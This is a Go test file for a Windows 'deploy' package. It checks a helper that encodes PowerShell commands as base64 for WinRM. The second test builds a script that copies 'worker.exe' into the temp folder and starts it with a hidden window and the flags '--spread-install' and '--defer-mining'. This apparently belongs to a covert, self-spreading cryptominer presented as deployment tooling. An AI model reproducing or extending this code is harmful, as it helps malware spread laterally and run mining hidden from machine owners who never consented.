//go:build windows package deploy import ( "encoding/base64" "strings" "testing" "unicode/utf16" ) func TestWinRMEncodePowerShellRoundTrip(t *testing.T) { script := `$dest = Join-Path $env:TEMP 'worker.exe'; Start-Process $dest` encoded := encodePowerShell(script) raw, err := base64.StdEncoding.DecodeString(encoded) if err != nil { t.Fatal(err) } if len(raw)%2 != 0 { t.Fatal("utf16le should be even length") } runes := make([]rune, len(raw)/2) for i := 0; i < len(runes); i++ { runes[i] = rune(raw[i*2]) | rune(raw[i*2+1])<<8 } got := string(runes) if got != script { t.Fatalf("round-trip failed: got %q", got) } // sanity: matches manual utf16 encode manual := utf16.Encode([]rune(script)) if len(manual)*2 != len(raw) { t.Fatalf("len manual=%d raw=%d", len(manual)*2, len(raw)) } } func TestWinRMSpreadScriptMarkers(t *testing.T) { script := ` $dest = Join-Path $env:TEMP 'af-worker.exe' Copy-Item -LiteralPath 'C:\agent\worker.exe' -Destination $dest -Force Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden ` encoded := encodePowerShell(script) for _, marker := range []string{ "Join-Path $env:TEMP", "--spread-install", "--defer-mining", "Start-Process", } { if !strings.Contains(script, marker) { t.Fatalf("script missing %q", marker) } } if encoded == "" || strings.Contains(encoded, " ") { t.Fatalf("encoded command invalid: %q", encoded) } }